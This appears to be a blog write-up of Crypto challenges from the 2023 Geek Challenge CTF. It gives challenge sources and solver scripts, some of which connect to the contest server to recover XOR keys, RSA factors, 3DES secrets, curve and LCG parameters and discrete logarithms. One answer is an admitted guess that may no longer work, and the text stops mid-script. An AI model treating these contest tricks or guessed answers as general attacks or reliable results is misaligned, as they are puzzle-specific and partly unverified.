[极客大挑战2023] Crypto/PWN/Reverse

这个网站真辛苦,每次都要回到all,屏幕随时卡。界面有待进步老远。也不提示结束,结果现在才听说结束了,才开始记录一下。

还跟往常一样,WM不作,其它也AK不了,总是差点。

Crypto

SignIn

5359437b48656c6c6f5f576f726c645f43727970746f5f6269626f6269626f7d

签到直接给16进制

proof_of_work

工作量也单独出题了

SimpleRSA

给了p,c,e略过

OTPTwice

程序还是挺长的,工作量在于看代码

from pwn import xor 
from os import urandom 
flag = b"SYC{Al3XEI_FAKE_FLAG}" 

# step0: key generation & distribution
def s0(msg): 
    k1,k2 = [urandom(len(msg)) for _ in "__"] 
    return k1,k2 

#  

# step1: Alice encrypt M, and send it to Bob
def s1(msg,k1):
    c1 = xor(msg,k1)
    return c1 

# step2: Bob encrypt c1, and send it to Alice 
def s2(msg,k2):
    c2 = xor(msg,k2) 
    return c2 

# step3: Alice decrypt c2, and send it to Bob.
def s3(msg,k1):
    c3 = xor(msg,k1)
    return c3 

# step4: Bob decrypt c3, get M.
def s4(msg,k2):
    m_ = xor(msg,k2) 
    return m_ 


def encrypt(msg,k1,k2): 
    c1 = s1(msg,k1) 
    c2 = s2(c1,k2) 
    c3 = s3(c2,k1)
    m_ = s4(c3,k2) 
    assert msg == m_

# Here's what hacker Eve got:
def encrypt_(msg,k1,k2):
    c1 = s1(msg,k1) 
    c2 = s2(c1,k2) 
    c3 = s3(c2,k1)
    m_ = s4(c3,k2) 
    if HACK == True:
        print(c1) 
        print(c2) 
        print(c3) 


k1,k2 = s0(flag) 
encrypt_(flag,k1,k2) 


c1 = b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
c2 = b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
c3 = b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'

这是个异或的加密,可以手搓一下

'''
c2 = m^k1^k2; c3 = m^k1^k2^k1 = m^k2 
c2^c3 = m^k1^k2^m^k2 = k1 
m = c1^k1 = c1^c2^c3
'''

OldAlgorithm

用一堆小因子取模。直接用中国剩余定理。

from Crypto.Util.number import * 
import os 
flag = b"SYC{Al3XEI_FAKE_FLAG}"

pad = lambda msg,padlen: msg+os.urandom(padlen-len(msg))


flag = pad(flag,32)
print(len(flag))
p = [getPrime(16) for _ in range(32)] 
c = [bytes_to_long(flag)%i for i in p] 


print('p=',p)
print('c=',c)


p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
m =crt(c,p)
bytes.fromhex(hex(m)[2:])

easy_classic

提示:非常好套娃,使我的古典旋转。

估计是rot之类,一个压缩包很多层,最讨厌是第3层,那个汉字本身就是密码不用解。

1
udzeojxuwqcu
rot爆破
2
ialhhooavtepcyr
栅栏7
3
5a6H5a6Z5LiH5rOV55qE6YKj5Liq5rqQ5aS0
这就是密码,不需要再找了:
宇宙万法的那个源头
4
熊曰:呋食食食取噗山笨笨破嗄咯哈動嗡雜類嗒嘿啽沒歡破吖咬我啽寶盜噔咯沒
never gonna give you up
5
password: adltlfltqrcy
key:    --> base100 fairgame
密文:adltlfltqrcy 
密钥:fairgame
genshinstart

SYC{classical_1s_fun}

PolyRSA

从名字上还以为是多项式的RSA,其实不是,是给了两个等于来算p,q

import gmpy2
from Crypto.Util.number import *  
flag = b"SYC{Al3XEI_FAKE_FLAG}"
p,q = [getPrime(2048) for _ in "__"] 
e1,e2 = [getPrime(17) for _ in "__"] 
e = 65537
n = p*q 
c1 = gmpy2.powmod(2*p + 3*q,e1,n)
c2 = gmpy2.powmod(5*p + 7*q,e2,n) 
c = gmpy2.powmod(bytes_to_long(flag),e,n) 
print("e1=",e1)
print("e2=",e2) 
print("c1=",c1) 
print("c2=",c2) 
print("c=",c)
print("n=",n)

e1= 113717
e2= 80737
c1= 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
c2= 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222
c= 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356
n= 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089

这里给c1,c2分别乘e2,e1次幂后展开可以消去1个参数,与n取gcd得到p

q = gcd(pow(5,e1*e2,n)*pow(c1,e2,n)- pow(2,e1*e2,n)*pow(c2,e1,n),n)
p = n//q 
m = pow(c, inverse_mod(65537, (p-1)*(q-1)),n)
#632495700765608774891523870686178861658440681396480936781821380418381636030032995453
bytes.fromhex(hex(m)[2:])
b'SYC{poly_rsa_Just_need5_s1mple_gcd}'

Simple3DES

DES的题一般是很少见的。处理比较麻烦。

from Crypto.Cipher import DES3
from Crypto.Util.number import *
import os
import random
import string
import hashlib

xor = lambda a,b: bytes([a[i % len(a)] ^ b[i % len(b)] for i in range(max(len(a), len(b)))])
pad = lambda msg,padlen: msg+chr((padlen-(len(msg)%padlen))).encode()*(padlen-(len(msg)%padlen))

flag = os.environ.get("FLAG", "SYC{Al3XEI_FAKE_FLAG}").encode()
sec = os.urandom(8)

banner = '|'*70

DEBUG = False 
def proof_of_work():
    if DEBUG:
        return True
    proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    digest = hashlib.sha256(proof.encode()).hexdigest()
    print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
    x = input("Give me XXXX: ")
    if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
        return False
    print("Right!")
    return True



def enc(msg,key):
    try:
        key = long_to_bytes(key)
        msg = xor(long_to_bytes(msg),sec)
        des = DES3.new(key,DES3.MODE_ECB)
        ct = xor(des.encrypt(pad(msg,8)),sec)
        return bytes_to_long(ct)
    except Exception as e:
        print(e)
        return Exception

def service():
    cnt = 0
    if not proof_of_work():
        exit()
    print(banner)
    print('Simple DES Encryption Service')
    print(banner)
    while cnt<2:
        print('1. Encrypt\n2. Get encrypted flag.')
        choice = int(input('> '))
        if choice == 1:
            print('Input msg:')
            msg = int(input('> ').strip())
            print('Input key:')
            key = int(input('> ').strip())
            print(enc(msg,key))
        elif choice == 2:
            print('Input key:')
            key = int(input('> ').strip())
            print(enc(bytes_to_long(flag),key))
        else:
            exit()
        cnt+=1
    print(banner)
    print('Bye!')
    exit()

try:
    service()
except Exception:
    print("Something goes wrong...\n")
    print(banner+'\n')
    exit()

加密的时候可以自定义key,msg先与sec异或再DES3加密,然后再pad再与sec异或。

先构造一个8字节长的明文,由于pad在加密后,这样在密文尾部会加上8字节的pad这块已知,再与sec异或,导致sec泄露。

先取数据

from pwn import *
import string
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
p = remote('59.110.20.54', 23333)
context.log_level = 'debug'

p.recvuntil(b'sha256(XXXX+')
tail = p.recv(16)
p.recvuntil(b'= ')
hashv = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hashv, string.ascii_letters+string.digits,4)
#method='upto' default 0-n  method='fixed' n 
p.sendlineafter(b'X:',found)


p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', str(bytes_to_long(b'A'*8)).encode())
p.sendlineafter(b'> ', str(bytes_to_long(b'key'*8)).encode())
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', str(bytes_to_long(b'key'*8)).encode())


p.interactive()

解密

from Crypto.Cipher import DES3
from Crypto.Util.number import *

key = b'key'*8
des = DES3.new(key,DES3.MODE_ECB)
ct = des.encrypt(b'\x08'*8)
sec = xor(ct[:8], long_to_bytes(219249052913746531820898946443248378274)[8:])

des = DES3.new(key,DES3.MODE_ECB)
ct = des.decrypt(xor(sec,long_to_bytes(4261726716034873877650481870049918999139751190677899586199)))
flag = xor(ct,sec)

JPGDiff

给了一个图片,和一个1*65536的图片,提示希尔伯特曲线。一直不明白什么意思,后来问到按希尔伯特排列。

[极客大挑战2023] Crypto/PWN/Reverse_第1张图片

希尔伯特曲线是通过一个方法填满矩形平面。把1*65536的数据填到一张256*256的图上就行了。

#1*65536的点接hilbert曲线排列

#点在hilbert曲线上的序号
def hilbert_idx(n,x,y): #x,y 从1开始 , 2n*2n的曲线
    if n==0: return 1 
    m = 1<<(n-1) 
    if x<=m and y<=m:
        return hilbert_idx(n-1,y,x)  #左下
    elif x>m and y<=m:
        return 3*m*m + hilbert_idx(n-1,m-y+1, m*2-x+1) #右下
    elif x<=m and y>m:
        return m*m + hilbert_idx(n-1, x,y-m) #左上
    else:
        return 2*m*m + hilbert_idx(n-1,x-m,y-m) #右上

n = 128 #(128*2)**2 = 65536

from PIL import Image 

im1 = Image.open('ct.png')
im2 = Image.new('RGB',(256,256))

for x in range(256):
    for y in range(256):
        idx = hilbert_idx(n, x+1,y+1)
        p = im1.getpixel((0, idx-1))
        im2.putpixel((x,y), p)

im2.save('flag.png')
#SYC{H1LB5RT_C1pher}

Energetic_Carcano

为什么每个题都有proof,又不是爆破类的题,作10道4点求参的题。

# from sage.all import *
import os 
import random 
import string 
import hashlib 
from Crypto.Util.number import * 

DEBUG = True

banner = '|'*70 
flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}").encode()
pbits = 120
abp = "abp" 


def proof_of_work(): 
    if DEBUG:
        return True
    proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    digest = hashlib.sha256(proof.encode()).hexdigest()
    print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
    x = input("Give me XXXX: ")
    if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest: 
        return False
    print("Right!")
    return True

def check(a,b,p,turn,ans):
    if DEBUG:
        return True 
    try:
        if turn == "a":
            return int(a) == ans 
        if turn == "b":
            return int(b) == ans
        if turn == "p":
            return int(p) == ans  
    except Exception:
        exit()


try: 
    if not proof_of_work():
        exit() 
    print(banner) 
    print('\nHi Crypto-ers! AL3XEI here. I know you are excellent at math, so I prepared a game for u.') 
    print('In the equation y^2 = x^3+ a*x + b (mod p), 4 points are given. Plz give me the right a, b or p to contine the game.') 
    print('Good Luck!\n') 
    print(banner+'\n') 

    for i in range(10):
        turn = random.choice(abp) 
        p = getPrime(pbits) 
        a,b = [next_prime(random.randint(2,p)) for _ in "ab"] 
        curve = EllipticCurve(GF(p),[a,b]) 
        pts = [curve.random_point() for _ in range(4)]
        pts = [(_[0], _[1]) for _ in pts] 
        for _ in pts:
            print(_,end=" ") 
        print('\nGive me '+turn+" :") 
        ans = int(input('> ')) 
        if check(a,b,p,turn,ans):
            print("Good! Next challenge->\n") 
            print(banner+'\n')
            pbits+=5  
            continue 
        else:
            print("Something goes wrong...\n") 
            print(banner+'\n') 
            exit() 

    print('Congrats! Your flag is:',flag)

except Exception:
    print("Something goes wrong...\n") 
    print(banner+'\n') 
    exit() 

老有点小问题,手搓

from pwn import *
import string
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
from sage.all import * 

p = remote('59.110.20.54', 8763)
context.log_level = 'debug'

p.recvuntil(b'sha256(XXXX+')
tail = p.recv(16)
p.recvuntil(b'= ')
hashv = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hashv, string.ascii_letters+string.digits,4)
#method='upto' default 0-n  method='fixed' n 
p.sendlineafter(b'X:',found)

for i in range(9):
    p.recvline()
    
for i in range(10):
    msg = p.recvline().decode().strip().replace(') (','):(').split(':')
    pi = [eval(msg[i]) for i in range(4)]
    print('pi = ',pi)
    print('''
P. = PolynomialRing(ZZ)
F = []
for j in range(4):
    F.append(pi[j][0]^3 + pi[j][0]*a + b - pi[j][1]^2) 
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
n = factor(n)[-1][0]
a = -res[0]%n
b = -res[1]%n
print(f'({a},{b},{n})')
''')

    a,b,n = eval(input('(a,b,n)>'))
    p.recvuntil(b'Give me ')
    v = p.recv(1).decode()
    p.recvuntil(b'> ')
    if v == 'a':
        p.sendline(str(a).encode())
    elif v == 'b':
        p.sendline(str(b).encode())
    elif v == 'p':
        p.sendline(str(n).encode())
    for i in range(4):
        p.recvline()
    
p.interactive()

Just need One

先生成128个32位整数,然后可以输入1个小于2^32的数,给出sum(x^i*res[i])

import os 
import random 
import string 
import hashlib 

flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}")
DEBUG = False
banner = '|'*70
if DEBUG:
    print("==DEBUG MODE==") 

def proof_of_work(): 
    if DEBUG:
        return True
    proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    digest = hashlib.sha256(proof.encode()).hexdigest()
    print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
    x = input("Give me XXXX: ")
    if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest: 
        return False
    print("Right!")
    return True  

try:
    if not proof_of_work():
        exit() 
    print(banner) 
    parms = [random.getrandbits(32) for _ in range(128)] 
    res = res = int(input('Give me x calculating f(x) :\n> '))  
    if res >= 2**32:
        print("Give me something smaller.\n")  
        print(banner+'\n') 
        exit() 

    cnt = 0  
    for _ in range(128): 
        cnt += pow(res,_)*parms[_]  
    print(cnt) 
    ans = input('Give me Coefficients :\n> ') 
    ans = [int(_) for _ in ans.split(",")] 
    
    if ans == parms:
        print('Congrats! Your flag is:',flag)  
    else:
        exit()

except Exception:
    print("Something goes wrong...\n") 
    print(banner+'\n') 
    exit() 

如果能输入2^32就好了,不过这题不让,所以只能绕过一下用-0x1....

from pwn import *
import string
from hashlib import sha256
from Crypto.Util.number import bytes_to_long

p = remote('59.110.20.54', 2613)
context.log_level = 'debug'

p.recvuntil(b'sha256(XXXX+')
tail = p.recv(16)
p.recvuntil(b'= ')
hashv = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hashv, string.ascii_letters+string.digits,4)
#method='upto' default 0-n  method='fixed' n 
p.sendlineafter(b'X:',found)

v = -0x10000000000
p.sendlineafter(b'Give me x calculating f(x) :\n> ', str(v).encode())
cnt = int(p.recvline())

ans = []
for i in range(127,-1,-1):
    k = pow(v,i)
    ans.append(cnt//k +1)
    cnt-= ans[-1]*k

ans[-1]-=1

p.sendlineafter(b'Give me Coefficients :\n> ', str(ans[::-1]).strip('[]').encode())

p.interactive()

Fi1nd_th3_x'

给了dP,dR,dQ,只要取crt就能求出d

from Crypto.Util.number import *
from libnum import* 
from secret import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
e = getPrime(32)
n = p*q*r
phi = (p-1)*(q-1)*(r-1)
d = inverse(e,phi)
dP = d%((q-1)*(r-1))
dQ = d%((p-1)*(r-1))
dR = d%((p-1)*(q-1))
m = s2n(flag.encode())
c = pow(m,e,n)

print('p=',p)
print('q=',q)
print('r=',r)
print('dP=',dP)
print('dQ=',dQ)
print('dR=',dR)
print('c=',c)


p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dP= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dQ= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dR= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
sage: d = crt([dP,dQ,dR],[(q-1)*(r-1),(p-1)*(r-1),(p-1)*(q-1)])
sage: m = pow(c,d,p*q*r)
sage: m
3284105439708182445651619594921418499868206804330511968562375777874941562244751467793334400733724381720289623498973565
sage: bytes.fromhex(hex(m)[2:])
b'SYC{CRT_1s_f3n_but_Gen3hi_im9act_is_a_balabalaba}'

Quick_Robert

这题据说是非预期了。特别非。题目没有附件,连接后显示一个计算题

Hi Crypto-ers! AL3XEI Here. In number theory, if there exists an integer q satisfying x^2=q(mod n), q is so called a quadratic residue.
We write this calculation as L(a,p), which its value shows a is or is not quadratic residue modulo p.
Below, you need to give me the answer of the sum of L(a*l**2+b*l+1,p), where a,b are integers, p is a prime, and l rise from 0 to p-1.
For example, given a = 2, b = 3, c = 1, p = 5, the answer will be L(1, 5) + L(6, 5) + L(15, 5) + L(28, 5) + L(45, 5) = 1.
Hope you success!

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

-4075 * l**2 + 190 * l + 1
p = 131 (8 bits)

> Type your answer:

给了一个数,求sum([L(a*l**2+b*l+1,p) for l in range(p-1) ])

如果数字很小其实是可以算的,用雅克比符号。不过题目的数字非常大 for实现不了,不过恰巧从比较小的数看,结果是p-1然后就OK了。可能后来后台改了,不成功了听说。

from pwn import *
import string
from hashlib import sha256
from gmpy2 import jacobi

p = remote('59.110.20.54',3042)
context(arch='amd64', log_level='debug')

tail = p.recvuntil(b') == ', drop=True)[-16:]
hsh  = p.recvline().strip().decode()
found = iters.bruteforce(lambda x: sha256(x.encode() + tail).hexdigest() == hsh, string.ascii_letters+string.digits,4)
#method='upto' default 0-n  method='fixed' n 
p.sendlineafter(b'XXXX: ',found)

p.recvuntil(b'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n\n')

while True:
    p.recvuntil(b'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n\n')
    
    s = p.recvline().strip()
    n = int(p.recvline().split(b' ')[2])
    v = 0
    #for l in range(n):
    #    v += jacobi(eval(s), n)
    p.sendlineafter(b'answer:', str(n-1).encode())

p.interactive()

Diligent_Liszt

y=g^x%n DLP的题

import gmpy2 as gp 
import random 
from Crypto.Util.number import * 

DEBUG = False
 
flag = b"SYC{Al3XEI_FAKE_FLAG}"
assert flag.startswith(b"SYC")
nbits = 512
g = 3 

def gen_p_1(digit):
    primes = []
    pri = 1
    while(len(primes)<100):
        pri = gp.next_prime(pri)
        primes.append(int(pri))
    while True:
        count = 2
        while count < 2**digit:
            count *= random.choice(primes)
        count += 1
        if(gp.is_prime(count)):
            return count
        

p,q,r = [gen_p_1(nbits) for _ in "pqr"] 

n = p*q*r 
x = bytes_to_long(flag) 
y = gp.powmod(g,x,n) 


print("p = {}".format(p))
print("q = {}".format(q))
print("r = {}".format(r))   
print("y = {}".format(y)) 

if DEBUG:
    print("x = {}".format(x)) 

3个因子的DLP,不过x很小,只求1个就够了

p = 1068910928091265978478887270179608140018534288604159452828300604294675735481804963679672853224192480667904101881092533866322948043654533322038484907159945421
q = 1711302770747802020613711652777299980542669713888988077474955896217408515180094849053961025086865697904731088087532944829046702427480842253022459937172565651
r = 132969813572228739353704467775972551435751558645548804253458782569132362201099158857093676816706297676454547299888531536236748314013888413096371966359860637
y = 5385116324746699759660077007129548063211490907227715474654765255668507958312745677683558789874078477569613259930365612562164095274660123330458355653249805062678976259429733060364358954180439218947514191603330532117142653558803034110759332447742304749985874760435453594107494324797235909651178472904825071375135846093354526936559640383917210702874692725723836865724807664892994298377375580807917514349966834376413176898806591411038129330967050554114677719107335006266


def Polig_Hellman(g,y,p):
    factors, exponents = zip(*factor(p-1))
    temp=[]
    for i in range(len(factors)):
        q=factors[i]
        a=[]
        for j in range(1,exponents[i]+1):
            gg=pow(g,((p-1)//q^j),p)
            yy=pow(y,((p-1)//q^j),p)
            for k in range(q):
                s=0
                for t in range(len(a)):
                    s+=a[t]*q^t
                s+=k*q^(len(a))
                if pow(gg,s,p)==yy:
                    a.append(k)
                    break
        x_q=0
        for j in range(len(a)):
            x_q+=a[j]*q^j
        temp.append(x_q)
    f=[]
    for i in range(len(factors)):
        f.append(factors[i]^exponents[i])
    return crt(temp,f)


x1 = Polig_Hellman(3,y,p)
x2 = Polig_Hellman(3,y,q)
x3 = Polig_Hellman(3,y,r)
l2b(x1)
#SYC{D1scr3te_L0g_W1th_Mult1pl3_pr1m35}

card_game

out = (out*m+c)%n  LCG的伪随机预测

from Crypto.Util.number import *
from cards import Heart, Spade, Club, Diamond
from secret import flag

def choose_card(num):
    x = (num>>5)%4
    if x == 0:
        return (Heart[(num>>6)%13]), 'Heart'
    if x%4 == 1:
        return (Spade[(num>>6)%13]), 'Spade'
    if x%4 == 2:
        return (Diamond[(num>>6)%13]), 'Diamond'
    else:
        return (Club[(num>>6)%13]), 'Club'

def GAME():
    banner = ''' 
 ####    ##   #####  #####      ####    ##   #    # ###### 
#    #  #  #  #    # #    #    #    #  #  #  ##  ## #      
#      #    # #    # #    #    #      #    # # ## # #####  
#      ###### #####  #    #    #  ### ###### #    # #      
#    # #    # #   #  #    #    #    # #    # #    # #      
 ####  #    # #    # #####      ####  #    # #    # ######
'''
    print(banner)

    meum = '''option:
    1: start game
    2: get hint
    3: exit
    '''
    print(meum)

    while True:
        print('input your option: ', end='')
        your_input = input()

        if your_input == '1':
            n = getPrime(36)
            m = getPrime(16)
            c = getPrime(16)
            seed = getPrime(36)
            out = seed
            round = 0
            score = 0
            res = []
            while True:
                round += 1
                res = []
                print(f'round:{round}')
                print(f'score:{score}')
                for i in range (3):
                    out = (out*m+c)%n
                    res.append(out)
                if round == 1:
                    for i in res:
                        card, suit = choose_card(i)
                        print(card)
                elif round==2 or round==3:  #gift
                    for i in res:
                        card, suit = choose_card(i)
                        print(card)
                    print(f'gift: {res}')
                else:
                    cards = []
                    suits = []
                    for i in range(len(res)):
                        card, suit = choose_card(res[i])
                        cards.append(card)
                        suits.append(suit)
                    print("Give me your guess: (example: Heart_1 Club_2 Diamond_3)")  
                    try:
                        g_1, g_2, g_3 = input().split()
                        g_1, g_2, g_3 = g_1.split('_'), g_2.split('_'), g_3.split('_')
                    except ValueError:
                        print("Please enter in the correct format.")
                        return
                    if (g_1[0] == suits[0] and g_1[1] == cards[0][15]) and (g_2[0] == suits[1] and g_2[1] == cards[1][15]) and (g_3[0] == suits[2] and g_3[1] == cards[2][15]):
                        for i in cards:
                            print(i)
                        print("Congratulations! You matched the cards!")
                        score += 1
                    else:
                        for i in cards:
                            print(i)
                        print("Try again!")
                if score == 50:
                    print('The flag is your reward!')
                    print(flag)
                    return
                else:
                    continue
        
        if your_input == '2':
            print("Have you ever heard of LCG?")

        if your_input == '3':
            break

if __name__ == '__main__':
    GAME()

跟前边一题一样,求参然后预测。

from pwn import *
from sage.all import *

io = remote('59.110.20.54', 4953)

#c = [33236290593, 22315804313, 31726858930, 18730288811, 33425564510, 22253622981]
c = []
io.recvuntil(b'gift:')
c += eval(io.recvline())
io.recvuntil(b'gift:')
c += eval(io.recvline())

#求参
P.=PolynomialRing(ZZ)
F = [c[i]*a+b-c[i+1] for i in range(len(c)-1)]
I = Ideal(F).groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
a = -res[0]%n
b = -res[1]%n


out = c[-1]
def lcg():
    global out 
    out = a*out+b 
    return out 
    
card = 'A234567890JQK'
hs = ['Heart', 'Spade', 'Diamond', 'Club']
def choose_card(num):
    return hs[(num>>5)%4]+'_'+card[(num>>6)%13]

for i in range(50):
    io.sendlineafter(b"Give me your guess: (example: Heart_1 Club_2 Diamond_3)", ' '.join([choose_card(lcg()) for i in range(3)]))

p.interactive()   

EzComplex

two_squre正好算不出来,sage里这个函数只能求出两个大小差不多的数,其它这种情况有多解。

#sage9.3
from Crypto.Util.number import *
flag = b'FAKE{Do_You_know_Complex_numbers}'
p = random_prime(1 << 384)
q = random_prime(1 << 384)
n = p * q
e = 0x10001
N = pow(p, 2) + pow(q, 2)
m = bytes_to_long(flag)
c = pow(m,e,n)


print(c)
print(N)


c = 122977267154486898127643454001467185956864368276013342450998567212966113302012584153291519651365278888605594000436279106907163024162771486315220072170917153855370362692990814276908399943293854077912175867886513964032241638851526276
N = 973990451943921675425625260267293227445098713194663380695161260771362036776671793195525239267004528550439258233703798932349677698127549891815995206853756301593324349871567926792912475619794804691721625860861059975526781239293017498

到网站上求Generic two integer variable equation solver

然后过滤出素数,再对3个数爆破

ps = [ 19363217435685725086309565372598916181859650326783828314797682559225567191045476914798042628135204508694501589001503,
29962125885196559918101088622575501736433575381042696980660846307183241725227137854663856022170515177120773072848343,
8732781022306464325787401448517171026218291389436971731700810979177651389459896422549428444142746055523338740248707]
for p in ps:
    m = pow(c, inverse_mod(0x10001, p-1),p)
    print(long_to_bytes(int(m)))

#SYC{D0_you_like_r41n?_i_pref3r_R1_ng}

 ext^7gcd

这也是个脑筋急转弯的题对于gcdext可以求出a*x+by == 1的a,b。这题要求求7个参数

a0*x0+a1*x1+a2*x2+... == 1

本身是没有这个函数的。不过可以将7个数分成两组a0*(x0+x1+...)+a1*(...x5+x6) == 1但这里可能有公因子,所以得试下。

from pwn import *
from gmpy2 import gcdext 

def sha256proof(io):
    from hashlib import sha256
    from itertools import product
    from string import ascii_letters, digits

    code = ascii_letters + digits
    io.recvuntil(b'sha256(XXXX+')
    tail = io.recvuntil(b') == ', drop=True)
    hash = io.recvuntil(b'\n', drop=True).decode()
    for a,b,c,d in product(code, repeat=4):
        tmp = sha256((a+b+c+d).encode()+tail).hexdigest()
        if tmp == hash:
            io.sendlineafter(b'Give me XXXX: ', (a+b+c+d).encode())
            return True
    
    return False    

p = remote('59.110.20.54',1789)
context.log_level = 'debug'

sha256proof(p)

while True:
    p.recvuntil(b"primes : ")
    ps = eval(p.recvuntil(b']'))
    for i in range(1,5):
        _,a,b = gcdext(sum(ps[:i]),sum(ps[i:]))
        if _==1:
            break
